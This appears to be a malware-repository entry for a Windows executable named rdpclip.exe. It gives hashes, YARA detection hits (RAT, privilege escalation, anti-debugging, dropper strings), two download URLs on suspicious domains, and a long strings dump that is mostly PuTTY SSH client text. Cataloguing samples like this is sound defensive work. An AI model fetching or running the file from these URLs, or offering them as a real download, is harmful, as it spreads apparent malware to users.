Sample details: 92da743fca83958ffb7fe8b091d56a61 --

Hashes
MD5: 92da743fca83958ffb7fe8b091d56a61
SHA1: e1757df5b6ade338e163b2b2ee3da3a1f92d2ac6
SHA256: f85eefb3c0824d2eb7e9c302dadc89f1fea9ae048828ee7924dbb7f03d151b77
SSDEEP: 24576:7bZ9N/kT7/n8JyOR6THo12gv5kEFQrKxoVT2iXc+IZ++6WiaTAsN/3ebTvK+63C8:B+/nw1Jv5bFNHZ5pdqYH8ia6GcKuR7
Details
File Type: PE32
Yara Hits
YRP/Microsoft_Visual_Basic_v50 | YRP/PureBasic_4x_Neil_Hodgson_additional | YRP/PureBasic_4x_Neil_Hodgson | YRP/Borland | YRP/PureBasic4xNeilHodgson | YRP/IsPE32 | YRP/IsWindowsGUI | YRP/IsBeyondImageSize | YRP/borland_delphi_dll | YRP/maldoc_find_kernel32_base_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/Dropper_Strings | YRP/anti_dbg | YRP/network_tcp_listen | YRP/network_tcp_socket | YRP/network_dns | YRP/network_dga | YRP/escalate_priv | YRP/migrate_apc | YRP/rat_rdp | YRP/win_mutex | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/CRC32_poly_Constant | YRP/CRC32_table | YRP/BLOWFISH_Constants | YRP/MD5_Constants | YRP/RIPEMD160_Constants | YRP/SHA1_Constants | YRP/SHA512_Constants | YRP/DES_sbox | YRP/RijnDael_AES | YRP/RijnDael_AES_CHAR | YRP/RijnDael_AES_LONG | YRP/BASE64_table | YRP/Str_Win32_Winsock2_Library | YRP/Str_Win32_Wininet_Library | YRP/Str_Win32_Internet_API |
Source
http://host.gomencom.website/Downloads/rdpclip.exe
http://mine.zarabotaibitok.ru/Downloads/rdpclip.exe
Strings
		!This program cannot be run in DOS mode.
`.text
`.rdata
@.data
PPPPPP
SUVWj 3
]jD^VP
t$,t"h
D$TPQRU
t$8RRVR
9|$0tM
9|$0t@
HtOHt5
.00cfg
@.rdata
.gfids
@.rsrc
`.xdata
@.idata
@.reloc
Connecting to %s port %d
Connecting to %s
Failed to connect to %s: %s
proxy: %s
-telnet
-rlogin
-serial
-loghost
-hostkey
'%s' is not a valid format for a manual host key specification
-%c expects at least two colons in its argument
%c%.*s
-nc expects argument of form 'host:port'
unable to open command file "%s"
the -pw option can only be used with the SSH protocol
-agent
-pagent
-pageant
-noagent
-nopagent
-nopageant
-sercfg
the -sercfg option can only be used with the serial protocol
Unrecognised suboption "-sercfg %c"
Unrecognised suboption "-sercfg %s"
-sessionlog
-sshlog
-sshrawlog
-proxycmd
-restrict-acl
-restrict_acl
-restrictacl
option "%s" not available in this tool
Proxy error: SOCKS proxy wants a different CHAP version
Proxy error: SOCKS proxy won't negotiate CHAP with us
Proxy error: SOCKS proxy refused CHAP authentication
Proxy error: Server chose CHAP of other than HMAC-MD5 but we didn't offer it!
Proxy error: Server chose CHAP authentication but we didn't offer it!
Event Log: %s
Incoming
Outgoing
%s packet 
#0x%lx, 
type %d / 0x%02x (%s)
 on behalf of downstream #%u
%Y-%m-%d %H:%M:%S
%s raw data at %s
  (%d byte%s omitted)
  %08x%*s
%Y.%m.%d %H:%M:%S
=~=~=~=~=~=~=~=~=~=~=~= PuTTY log %s =~=~=~=~=~=~=~=~=~=~=~=
SSH packets
SSH raw data
unknown
Disabled writing
Error writing
Appending
Writing new
%s session log (%s mode) to file: %s
Disabled writing session log due to error while writing
%H%M%S
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Out of memory!
0123456789abcdefABCDEF:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/=
Windows
Build platform: %d-bit %s
5.0.0 (http://llvm.org/git/clang.git dba970f4d143480b964f77b363ec23f22cea0390) (http://llvm.org/git/llvm.git 52ebe03cb0a728134e66d04f85281bc5a60d7091)
%sCompiler: clang %s
, emulating 
Visual Studio
 2013 / MSVC++ 12.0
 (_MSC_VER=%d)
%sSource commit: %s
%d.%d.%d.%d
forwarding from %s
forwarding
Leaving host lookup to proxy of "%s" (for %s)
SOCKS 4
SOCKS 5
Telnet
Proxy error: Unknown proxy method
Will use %s proxy at %s:%d to connect to %s:%d
Proxy error: Unable to resolve proxy host name
Connecting to %s proxy at %s port %d
CONNECT %s:%i HTTP/1.1
Host: %s:%i
Proxy-Authorization: Basic 
HTTP/%i.%i %n
Proxy error: HTTP response was absent
Proxy error: %s
Proxy error: unexpected proxy error
Proxy error: SOCKS version 4 does not support IPv6
Proxy error: SOCKS proxy responded with unexpected reply code version
Proxy error: SOCKS server wanted IDENTD on client
Proxy error: Username and IDENTD on client don't agree
Proxy error: Error while communicating with proxy
Proxy error: SOCKS proxy returned unexpected version
Proxy error: SOCKS proxy did not accept our authentication
Proxy error: SOCKS password subnegotiation contained wrong version number
Proxy error: SOCKS proxy refused password authentication
Proxy error: SOCKS proxy returned wrong version number
General SOCKS server failure
Connection not allowed by ruleset
Network unreachable
Host unreachable
Connection refused
Command not supported
Address type not supported
Unrecognised SOCKS error code %d
Proxy error: SOCKS proxy returned unrecognised address format
Proxy error: We don't support GSSAPI authentication
Proxy error: Server chose username/password authentication but we didn't offer it!
Proxy error: Unexpected proxy error
proxyhost
proxyport
\x%02X
Sending Telnet proxy command: %s
 (IPv4)
 (IPv6)
Looking up host "%s"%s for %s
main connection
rlogin
rlogin connection
Rlogin login name
rlogin username: 
0123456789
REPRINT
WERASE
STATUS
DISCARD
IGNPAR
PARMRK
ISTRIP
IMAXBEL
ICANON
ECHONL
NOFLSH
TOSTOP
IEXTEN
ECHOCTL
ECHOKE
PENDIN
ONLRET
PARENB
PARODD
HostName
LogFileName
LogType
LogFileClash
LogFlush
SSHLogOmitPasswords
SSHLogOmitData
Protocol
PortNumber
CloseOnExit
WarnOnClose
PingInterval
PingIntervalSecs
TCPNoDelay
TCPKeepalives
TerminalType
TerminalSpeed
TerminalModes
AddressFamily
ProxyExcludeList
ProxyDNS
ProxyLocalhost
ProxyMethod
ProxyHost
ProxyPort
ProxyUsername
ProxyPassword
ProxyTelnetCommand
ProxyLogToTerm
Environment
UserName
UserNameFromEnvironment
LocalUserName
Compression
TryAgent
AgentFwd
GssapiFwd
ChangeUsername
Cipher
HostKey
RekeyTime
RekeyBytes
SshNoAuth
SshBanner
AuthTIS
AuthKI
AuthGSSAPI
GSSLibs
GSSCustom
SshNoShell
SshProt
LogHost
SSH2DES
PublicKeyFile
RemoteCommand
RFCEnviron
PassiveTelnet
BackspaceIsDelete
RXVTHomeEnd
LinuxFunctionKeys
NoApplicationKeys
NoApplicationCursors
NoMouseReporting
NoRemoteResize
NoAltScreen
NoRemoteWinTitle
NoRemoteClearScroll
RemoteQTitleAction
NoDBackspace
NoRemoteCharset
ApplicationCursorKeys
ApplicationKeypad
NetHackKeypad
AltSpace
AltOnly
ComposeKey
CtrlAltKeys
TelnetKey
TelnetRet
LocalEcho
LocalEdit
Answerback
AlwaysOnTop
FullScreenOnAltEnter
HideMousePtr
SunkenEdge
WindowBorder
CurType
BlinkCur
BeepInd
BellWaveFile
BellOverload
BellOverloadN
BellOverloadT
BellOverloadS
ScrollbackLines
DECOriginMode
AutoWrapMode
LFImpliesCR
CRImpliesLF
DisableArabicShaping
DisableBidi
WinNameAlways
WinTitle
TermWidth
TermHeight
FontQuality
FontVTMode
UseSystemColours
TryPalette
ANSIColour
Xterm256Colour
BoldAsColour
Colour%d
%d,%d,%d
RawCNP
PasteRTF
MouseIsXterm
RectSelect
MouseOverride
Wordness%d
LineCodePage
CJKAmbigWide
UTF8Override
Printer
CapsLockCyr
ScrollBar
ScrollBarFullScreen
ScrollOnKey
ScrollOnDisp
EraseToScrollback
LockSize
BlinkText
X11Forward
X11Display
X11AuthType
X11AuthFile
LocalPortAcceptAll
RemotePortAcceptAll
PortForwardings
BugIgnore1
BugPlainPW1
BugRSA1
BugIgnore2
BugHMAC2
BugDeriveKey2
BugRSAPad2
BugPKSessID2
BugRekey2
BugMaxPkt2
BugOldGex2
BugWinadj
BugChanReq
StampUtmp
LoginShell
ScrollbarOnLeft
BoldFont
WideFont
WideBoldFont
ShadowBold
ShadowBoldOffset
SerialLine
SerialSpeed
SerialDataBits
SerialStopHalfbits
SerialParity
SerialFlowControl
WindowClass
ConnectionSharing
ConnectionSharingUpstream
ConnectionSharingDownstream
SSHManualHostKeys
default
38400,38400
ProxyType
ProxySOCKSVersion
connect %host %port\n
ecdh,dh-gex-sha1,dh-group14-sha1,rsa,WARN,dh-group1-sha1
ecdh,dh-group14-sha1,rsa,WARN,dh-group1-sha1,dh-gex-sha1
BugDHGEx2
dh-group14-sha1,dh-group1-sha1,rsa,WARN,dh-gex-sha1
dh-gex-sha1,dh-group14-sha1,dh-group1-sha1,rsa,WARN
ed25519,ecdsa,rsa,dsa,WARN
NoRemoteQTitle
187,187,187
255,255,255
85,85,85
0,255,0
187,0,0
255,85,85
0,187,0
85,255,85
187,187,0
255,255,85
0,0,187
85,85,255
187,0,187
255,85,255
0,187,187
85,255,255
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
0,1,2,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1
1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2
1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2
BuggyMAC
Default Settings
chacha20
blowfish
arcfour
dh-gex-sha1
dh-group14-sha1
dh-group1-sha1
ed25519
Could not set up connection sharing: %s
Could not set up connection sharing as downstream: %s
Could not set up connection sharing as upstream: %s
Using existing shared connection at %s
Reusing a shared connection to this server.
Sharing this connection at %s
0123456789abcdef:
due to local error: %s
Connection sharing downstream #%u connected from %s
Connection sharing downstream #%u connected
Connection sharing downstream #%u disconnected
Connection sharing downstream #%u: %s
Connection sharing: %s
Opening connection to %s:%d for %s
direct-tcpip
0.0.0.0
All channels closed
Disconnected: %s
Disconnected
too much data sent
password
x11-req
SSH2_MSG_USERAUTH_GSSAPI_RESPONSE
SSH2_MSG_USERAUTH_GSSAPI_TOKEN
SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE
SSH2_MSG_USERAUTH_GSSAPI_ERROR
SSH2_MSG_USERAUTH_GSSAPI_ERRTOK
SSH2_MSG_USERAUTH_GSSAPI_MIC
SSH2_MSG_DISCONNECT
SSH2_MSG_IGNORE
SSH2_MSG_UNIMPLEMENTED
SSH2_MSG_DEBUG
SSH2_MSG_SERVICE_REQUEST
SSH2_MSG_SERVICE_ACCEPT
SSH2_MSG_KEXINIT
SSH2_MSG_NEWKEYS
SSH2_MSG_KEXDH_INIT
SSH2_MSG_KEXDH_REPLY
SSH2_MSG_KEX_DH_GEX_REQUEST_OLD
SSH2_MSG_KEX_DH_GEX_REQUEST
SSH2_MSG_KEX_DH_GEX_GROUP
SSH2_MSG_KEX_DH_GEX_INIT
SSH2_MSG_KEX_DH_GEX_REPLY
SSH2_MSG_KEXRSA_PUBKEY
SSH2_MSG_KEXRSA_SECRET
SSH2_MSG_KEXRSA_DONE
SSH2_MSG_KEX_ECDH_INIT
SSH2_MSG_KEX_ECDH_REPLY
SSH2_MSG_USERAUTH_REQUEST
SSH2_MSG_USERAUTH_FAILURE
SSH2_MSG_USERAUTH_SUCCESS
SSH2_MSG_USERAUTH_BANNER
SSH2_MSG_USERAUTH_PK_OK
SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ
SSH2_MSG_USERAUTH_INFO_REQUEST
SSH2_MSG_USERAUTH_INFO_RESPONSE
SSH2_MSG_GLOBAL_REQUEST
SSH2_MSG_REQUEST_SUCCESS
SSH2_MSG_REQUEST_FAILURE
SSH2_MSG_CHANNEL_OPEN
SSH2_MSG_CHANNEL_OPEN_CONFIRMATION
SSH2_MSG_CHANNEL_OPEN_FAILURE
SSH2_MSG_CHANNEL_WINDOW_ADJUST
SSH2_MSG_CHANNEL_DATA
SSH2_MSG_CHANNEL_EXTENDED_DATA
SSH2_MSG_CHANNEL_EOF
SSH2_MSG_CHANNEL_CLOSE
SSH2_MSG_CHANNEL_REQUEST
SSH2_MSG_CHANNEL_SUCCESS
SSH2_MSG_CHANNEL_FAILURE
key exchange algorithm
host key algorithm
client-to-server cipher
server-to-client cipher
client-to-server MAC
server-to-client MAC
client-to-server compression method
server-to-client compression method
SSHCONNECTION@putty.projects.tartarus.org-
expected key exchange packet from server
KEXINIT packet was incomplete
Couldn't agree a %s (available: %.*s)
Server supports delayed compression; will try this later
key-exchange algorithm
Unexpected data from server while waiting for user response
User aborted at kex warning
host key type
User aborted at host key warning
User aborted at cipher warning
Doing Diffie-Hellman group exchange
expected key exchange group packet from server
unable to read mp-ints from incoming group packet
Using Diffie-Hellman with standard group "%s"
Doing Diffie-Hellman key exchange with hash %s
expected key exchange reply packet from server
unable to parse key exchange reply packet
key exchange reply failed validation: %s
Doing ECDH key exchange with curve %s and hash %s
Unable to generate key for ECDH
Unable to encode public key for ECDH
expected ECDH reply packet from server
unable to parse ECDH reply packet
Unable to encode public key for ECDH hash
point received in ECDH was not valid
Doing RSA key exchange with hash %s
expected RSA public key packet from server
unable to parse RSA public key packet
unable to parse RSA public key from server
expected signature packet from server
unable to parse signature packet
Server's host key is invalid
Server's host key did not match the signature supplied
any of them
Server also has %s host key%s, but we don't know %s
Host key fingerprint is:
Host key did not appear in manually configured list
Unexpected data from server while waiting for user host key response
Aborted at host key verification
Storing additional host key for this host:
Host key was different in repeat key exchange
Initialised %.200s client->server encryption
 (required by cipher)
 (in ETM mode)
Initialised %.200s client->server MAC algorithm%s%s
Initialised %s compression
expected new-keys packet from server
Initialised %.200s server->client encryption
Initialised %.200s server->client MAC algorithm%s%s
Initialised %s decompression
Server initiated key re-exchange
Server bug prevents key re-exchange (%s)
Initiating key re-exchange (%s)
Public key packet not received
Received public keys
SSH-1 public key packet stopped before random cookie
Failed to read SSH-1 public keys from public key packet
SSH-1 public keys were badly formatted
User aborted at host key verification
SSH-1 public key encryptions failed due to bad formatting
Encrypted session key
AES not supported in SSH-1, skipping
Blowfish
single-DES
Server violates SSH-1 protocol by not supporting 3DES encryption
No supported ciphers found
cipher
Using 3DES encryption
Using single-DES encryption
Using Blowfish encryption
Trying to enable encryption...
Initialised %s encryption
Installing CRC compensation attack detector
Encryption not successfully enabled
Successfully started encryption
SSH login name
login as: 
No username provided
Sent username "%s"
Reading key file "%.150s"
Key file contains public key only
Unable to load key (%s)
Unable to load key file "%.150s" (%s)
Unable to use this key file (%s)
Unable to use key file "%.150s" (%s)
Pageant is running. Requesting keys.
Unexpected data from server while waiting for agent response
Pageant reported negative key count %d
Pageant has %d SSH-1 keys
Pageant key list packet was truncated
Pageant key #%d matches configured key file
Trying Pageant key #%d
Key refused
Received RSA challenge
Server's RSA challenge was badly formatted
Sending Pageant's response
Pageant's response accepted
Authenticated using RSA key "
" from agent
Pageant's response not accepted
Pageant failed to answer challenge
No reply received from Pageant
Configured key file not in Pageant
Failed to get reply from Pageant
Trying public key authentication.
Trying public key "%s"
No passphrase required.
SSH key passphrase
Passphrase for key "%.100s": 
Unable to authenticate
Couldn't load private key from 
Wrong passphrase.
Server refused our public key.
Bizarre response to offer of public key
Failed to authenticate with our public key.
Bizarre response to RSA authentication response
Requested TIS authentication
TIS authentication declined
TIS authentication refused.
TIS challenge packet was badly formed
Received TIS challenge
SSH TIS authentication
Response: 
Using TIS authentication.%s%s
Requested CryptoCard authentication
CryptoCard authentication declined
CryptoCard authentication refused.
CryptoCard challenge packet was badly formed
Received CryptoCard challenge
SSH CryptoCard authentication
Using CryptoCard authentication.%s%s
No supported authentication methods available
SSH password
%s@%s's password: 
Sending password with camouflage packets
Sending length-padded password
Sending unpadded password
Sent password
Access denied
Authentication refused
Strange packet received, type %d
Authentication successful
SSH1_MSG_DISCONNECT
SSH1_SMSG_PUBLIC_KEY
SSH1_CMSG_SESSION_KEY
SSH1_CMSG_USER
SSH1_CMSG_AUTH_RSA
SSH1_SMSG_AUTH_RSA_CHALLENGE
SSH1_CMSG_AUTH_RSA_RESPONSE
SSH1_CMSG_AUTH_PASSWORD
SSH1_CMSG_REQUEST_PTY
SSH1_CMSG_WINDOW_SIZE
SSH1_CMSG_EXEC_SHELL
SSH1_CMSG_EXEC_CMD
SSH1_SMSG_SUCCESS
SSH1_SMSG_FAILURE
SSH1_CMSG_STDIN_DATA
SSH1_SMSG_STDOUT_DATA
SSH1_SMSG_STDERR_DATA
SSH1_CMSG_EOF
SSH1_SMSG_EXIT_STATUS
SSH1_MSG_CHANNEL_OPEN_CONFIRMATION
SSH1_MSG_CHANNEL_OPEN_FAILURE
SSH1_MSG_CHANNEL_DATA
SSH1_MSG_CHANNEL_CLOSE
SSH1_MSG_CHANNEL_CLOSE_CONFIRMATION
SSH1_SMSG_X11_OPEN
SSH1_CMSG_PORT_FORWARD_REQUEST
SSH1_MSG_PORT_OPEN
SSH1_CMSG_AGENT_REQUEST_FORWARDING
SSH1_SMSG_AGENT_OPEN
SSH1_MSG_IGNORE
SSH1_CMSG_EXIT_CONFIRMATION
SSH1_CMSG_X11_REQUEST_FORWARDING
SSH1_CMSG_AUTH_RHOSTS_RSA
SSH1_MSG_DEBUG
SSH1_CMSG_REQUEST_COMPRESSION
SSH1_CMSG_AUTH_TIS
SSH1_SMSG_AUTH_TIS_CHALLENGE
SSH1_CMSG_AUTH_TIS_RESPONSE
SSH1_CMSG_AUTH_CCARD
SSH1_SMSG_AUTH_CCARD_CHALLENGE
SSH1_CMSG_AUTH_CCARD_RESPONSE
timeout
ssh-userauth
ssh-connection
Server refused service request
Pageant response contained a negative key count %d
Pageant response was truncated
Pageant has %d SSH-2 keys
Using username "%s".
Access granted
Strange packet received during authentication: type %d
Server refused our key
Server refused our key
Server refused public-key signature despite accepting key!
Server refused public-key signature despite accepting key!
Server refused keyboard-interactive authentication
Keyboard-interactive authentication failed
Password authentication failed
Further authentication required
Further authentication required
publickey
keyboard-interactive
gssapi-with-mic
Authenticating with public key "
Offered public key
Offer of public key accepted
Wrong passphrase
Unable to load private key (
Sent public key signature
Attempting GSSAPI authentication
GSSAPI authentication request refused
GSSAPI authentication - wrong response from server
GSSAPI import name failed - Bad service name
GSSAPI import name failed
GSSAPI authentication failed to get credentials
GSSAPI authentication initialisation failed
GSSAPI authentication initialised
GSSAPI authentication - bad server response
GSSAPI authentication loop finished OK
Attempting keyboard-interactive authentication
SSH server: %.*s
SSH server authentication
Using keyboard-interactive authentication.%s%.*s
Server requested password change
Server rejected new password
New SSH password
Current password (blank for previously entered password): 
Enter new password: 
Confirm new password: 
Passwords do not match
Sent new password
No supported authentication methods available (server sent: %.*s)
enabling delayed compression
main channel
session
Opening session as main channel
Server sent strange packet %d in response to main channel open request
Server's response to main channel open cited wrong channel number
Server refused to open main channel: %s
Opened main channel
simple@putty.projects.tartarus.org
X11 forwarding not enabled: unable to initialise X display
subsystem
Unexpected response to shell/command request: packet type %d
Primary command failed; attempting fallback
Server refused to start a shell/command
Started a shell/command
Strange packet received: type %d
ssh-rsa
nonexistent
half-open
Received %s for %s channel %u
Administratively prohibited
Connect failed
Unknown channel type
Resource shortage
unknown reason code %#x
%s [%.*s]
Forwarded connection refused by server: %s
exit-status
Server sent command exit status %d
exit-signal
 "%.*s"
 ("%.*s")
 (core dumped)
Server exited on signal%s%s%s
Received X11 connect request from %s:%d
X11 forwarding is not enabled
Opened X11 forward channel
forwarded-tcpip
Received remote port %s:%d open request from %.*s:%d
Remote port is not recognised
Attempting to forward remote port to %s:%d
Port open failed: %s
Port open failed
Forwarded port opened successfully
auth-agent@openssh.com
Agent forwarding is not enabled
Unsupported channel type requested
Rejected channel open: %s
Server protocol violation: unexpected %s packet
Service lookup failed for source port "%s"
Service lookup failed for destination port "%s"
remote
dynamic
%s port forwarding from %s%s%d
%s to %s:%d
Cancelling %s
cancel-tcpip-forward
localhost
%s%s%s%s%d%s
%s:%s%s%d%s
 failed: 
Local %sport %s forwarding to %s%s%s
Local %sport %s SOCKS dynamic forwarding%s%s
Duplicate remote port forwarding to %s:%d
Requesting remote port %s forward to %s
tcpip-forward
Remote port forwarding from %s enabled
Remote port forwarding from %s refused
Requesting X11 forwarding
X11 forwarding enabled
X11 forwarding refused
Requesting OpenSSH-style agent forwarding
auth-agent-req@openssh.com
Agent forwarding enabled
Agent forwarding refused
pty-req
Allocated pty (ospeed %dbps, ispeed %dbps)
Server refused to allocate pty
Sent %d environment variables
All environment variables successfully set
All environment variables refused
Server refused to set environment variables
%d environment variables refused
Server refused to set all environment variables
Server unexpectedly closed network connection
Server closed network connection
Forwarded X11 connection terminated
Agent-forwarding connection closed
Forwarded port closed
winadj@putty.projects.tartarus.org
SSH connection
Server version: %s
Server announces compatibility with SSH-1 in bare ssh-connection protocol
Bare ssh-connection protocol cannot be run in SSH-1-only mode
Using bare ssh-connection protocol
1.2.18
1.2.19
1.2.20
1.2.21
1.2.22
Cisco-1.25
OSU_1.4alpha3
OSU_1.5alpha4
We believe remote version has SSH-1 ignore bug
We believe remote version needs a plain SSH-1 password
We believe remote version can't handle SSH-1 RSA authentication
* VShell
2.1.0*
2.2.0*
2.3.0*
We believe remote version has SSH-2 HMAC bug
2.0.0*
2.0.10*
We believe remote version has SSH-2 key-derivation bug
OpenSSH_2.[5-9]*
OpenSSH_3.[0-2]*
mod_sftp/0.[0-8]*
mod_sftp/0.9.[0-8]
We believe remote version has SSH-2 RSA padding bug
OpenSSH_2.[0-2]*
We believe remote version has SSH-2 public-key-session-ID bug
DigiSSH_2.0
OpenSSH_2.[0-4]*
OpenSSH_2.5.[0-3]*
Sun_SSH_1.0
Sun_SSH_1.0.1
WeOnlyDo-*
We believe remote version has SSH-2 rekey bug
1.36_sshlib GlobalSCAPE
1.36 sshlib: GlobalScape
We believe remote version ignores SSH-2 maximum packet size
We believe remote version has SSH-2 ignore bug
OpenSSH_2.[235]*
We believe remote version has outdated SSH-2 GEX
We believe remote version has winadj bug
OpenSSH_[2-5].*
OpenSSH_6.[0-6]*
dropbear_0.[2-4][0-9]*
dropbear_0.5[01]*
We believe remote version has SSH-2 channel request bug
Received disconnect message (%s)
Received disconnect message (unknown type %d)
Disconnection message text: %.*s
Server sent disconnect message
type %d (%s):
"%.*s"
host not allowed to connect
protocol error
key exchange failed
host authentication failed
MAC error
compression error
service not available
protocol version not supported
host key not verifiable
connection lost
by application
too many connections
auth cancelled by user
no more auth methods available
illegal user name
Remote debug message: %.*s
Invalid packet length received
SSH protocol version 1 required by our configuration but not provided by server
SSH protocol version 2 required by our configuration but server only provides (old, insecure) SSH-1
Using SSH protocol version %d
too much data received
No valid incoming packet found
Incoming packet length field was garbled
Incorrect MAC received on packet
Incoming packet was garbled on decryption
Invalid padding length on received packet
Requesting agent forwarding
Protocol confusion
Server refused to compress
Started compression
Initialised zlib (RFC1950) compression
Initialised zlib (RFC1950) decompression
Started session
Incoming terminal data packet was badly formed
Forwarded connection refused by server
Received CHANNEL_CLOSE_CONFIRMATION for channel %u for which we never sent CHANNEL_CLOSE
Received X11 connect request
Rejected X11 connect request
Rejected remote port open request for %s:%d
Received remote port open request for %s:%d
Server sent disconnect message:
"%.*s"
Extremely large packet length from server suggests data stream corruption
Network attack (CRC compensation) detected!
Incorrect CRC received on packet
Zlib decompression encountered invalid data
%s2.0-%s
SSH-%s-%s
We claim version: %.*s
timeout shortened
data limit lowered
compression setting changed
cipher settings changed
window-change
Sent EOF message
at user request
cross-certifying new host key
Unable to send BREAK signal in SSH-1
signal
Sent signal SIG%s
IGNORE message
Repeat key exchange
SIGINT (Interrupt)
SIGTERM (Terminate)
SIGKILL (Kill)
SIGQUIT (Quit)
SIGHUP (Hangup)
More signals
SIGABRT
SIGALRM
SIGFPE
SIGILL
SIGPIPE
SIGSEGV
SIGUSR1
SIGUSR2
Cache new host key type
='9-6d
_jbF~T
11#?*0
,4$8_@
t\lHBW
QPeA~S
>4$8,@
p\lHtW
+HpXhE
T[$:.6
=j&&LZ66lA??~
}{))R>
f""D~**T
V22dN::t
o%%Jr..\$
&&Lj66lZ??~A
99rKJJ
==zGdd
""Df**T~
;22dV::tN
$$Hl\\
C77nYmm
%%Jo..\r
55j_WW
&Lj&6lZ6?~A?
~=zG=d
"Df"*T~*
2dV2:tN:
x%Jo%.\r.
a5j_5W
ggV}++
Lj&&lZ66~A??
bS11*?
Xt,,4.
RRvM;;
MMfU33
PPxD<<%
Bc!! 0
~~zG==
Df""T~**;
dV22tN::
xxJo%%\r..8$
pp|B>>q
aaj_55
UUPx((
aes256-ctr
AES-256 SDCTR
aes256-cbc
AES-256 CBC
rijndael-cbc@lysator.liu.se
aes192-ctr
AES-192 SDCTR
aes192-cbc
AES-192 CBC
aes128-ctr
AES-128 SDCTR
aes128-cbc
AES-128 CBC
arcfour128
Arcfour-128
arcfour256
Arcfour-256
 iciNWq
Ze2Zh@
A4x{%`
BFUa.X
	-f3F2
w``u N
Blowfish-128 CBC
blowfish-ctr
Blowfish-256 SDCTR
blowfish-cbc
expand 32-byte k
chacha20-poly1305@openssh.com
ChaCha20
Poly1305
Qkkbal
triple-DES inner-CBC
single-DES CBC
3des-ctr
triple-DES SDCTR
3des-cbc
triple-DES CBC
des-cbc
des-cbc@ssh.com
f value received is too small
f value received is too large
diffie-hellman-group1-sha1
group1
diffie-hellman-group14-sha1
group14
diffie-hellman-group-exchange-sha256
diffie-hellman-group-exchange-sha1
ssh-dss
0123456789abcdef
DSA deterministic k generator
fffffffffffffffffffffffffffffffX0123456789abcdef
U)l:T^8rv
	ssh-ed25519
ecdsa-sha2-nistp256
ecdsa-sha2-nistp384
ecdsa-sha2-nistp521
Ed25519
ECDSA deterministic k generator
nistp256
nistp384
nistp521
curve25519-sha256@libssh.org
Curve25519
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521
6666666666666666\\\\\\\\\\\\\\\\hmac-md5
hmac-md5-etm@openssh.com
HMAC-MD5
can't open file
SSH PRIVATE KEY FILE FORMAT 1.1
not an SSH-1 RSA file
key bit count does not match in SSH-1 public key file
PuTTY-User-Key-File-2
PuTTY-User-Key-File-1
PuTTY-User-Key-File-
PuTTY key format too new
not a PuTTY SSH-2 private key
file format error
Encryption
Comment
Public-Lines
Private-Lines
Private-MAC
Private-Hash
wrong passphrase
MAC failed
createkey failed
---- BEGIN SSH2 PUBLIC KEY ----
invalid begin line in SSH-2 public key file
truncated SSH-2 public key file
Subject
unrecognised header in SSH-2 public key file
---- END SSH2 PUBLIC KEY ----
invalid end line in SSH-2 public key file
not enough data in SSH-2 public key file
invalid algorithm prefix in SSH-2 public key file
no key blob in OpenSSH public key file
invalid length for base64 data in OpenSSH public key file
key algorithms do not match in OpenSSH public key file
putty-private-key-file-mac-key
---- BEGIN SSH2 PUBLIC KEY
PuTTY-User-Key-File-
---- BEGIN SSH2 ENCRYPTED PRIVAT
-----BEGIN OPENSSH PRIVATE KEY
-----BEGIN 
%02x%s
%.*s %d %s
%.*s %s
unable to open file
not a recognised key file format
SSH-1 public key
SSH-2 public key (RFC 4716 format)
SSH-2 public key (OpenSSH format)
SSH-1 private key
PuTTY SSH-2 private key
OpenSSH SSH-2 private key (old PEM format)
OpenSSH SSH-2 private key (new format)
ssh.com SSH-2 private key
INTERNAL ERROR (OPENSSH_AUTO)
INTERNAL ERROR
error reading file
rsa_verify failed
0123456789abcdef
%s%02x
RSA deterministic blinding
rsa2048-sha256
rsa1024-sha1
SHA-256
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
HMAC-SHA-256
SHA-512
AQLwH'
XGJSHA-384
hmac-sha1
hmac-sha1-etm@openssh.com
HMAC-SHA1
hmac-sha1-96
hmac-sha1-96-etm@openssh.com
HMAC-SHA1-96
bug-compatible HMAC-SHA1
bug-compatible HMAC-SHA1-96
downstream refused X channel open
window adjustment after downstream accepted X channel
%s@%s:%d
PuTTY downstream no longer available
cancel-tcpip-forward
SSHCONNECTION@putty.projects.tartarus.org-2.0-
cleanup after downstream went away
SSHCONNECTION@putty.projects.tartarus.org-2.0-
listening socket: %s
Socket error: %s
Version string far too long
Version string did not have expected prefix
Downstream version string: %.*s
Bad packet length %u
Truncated GLOBAL_REQUEST packet
upstream added want_reply flag
Truncated CHANNEL_OPEN packet
Truncated CHANNEL_OPEN_CONFIRMATION packet
CHANNEL_OPEN_CONFIRMATION packet cited unknown channel %u
Initial window size for x11 channel must be at least 256 (got %u)
Truncated CHANNEL_OPEN_FAILURE packet
CHANNEL_OPEN_FAILURE packet cited unknown channel %u
Agent forwarding request for unrecognised channel %u
X11 forwarding request for unrecognised channel %u
Truncated CHANNEL_REQUEST("x11") packet
Unexpected packet type %d
zlib@openssh.com
zlib (RFC1950)
telnet
Telnet connection
server
%s:	%s %s
BINARY
NAOCRD
NAOHTS
NAOHTD
NAOFFD
NAOVTS
NAOVTD
NAOLFD
XASCII
LOGOUT
SUPDUP
SUPDUPOUTPUT
SNDLOC
OUTMRK
TTYLOC
3270REGIME
TSPEED
LINEMODE
XDISPLOC
OLD_ENVIRON
AUTHENTICATION
ENCRYPT
NEW_ENVIRON
TN3270E
CHARSET
COM_PORT_OPTION
STARTTLS
KERMIT
SEND_URL
FORWARD_X
PRAGMA_LOGON
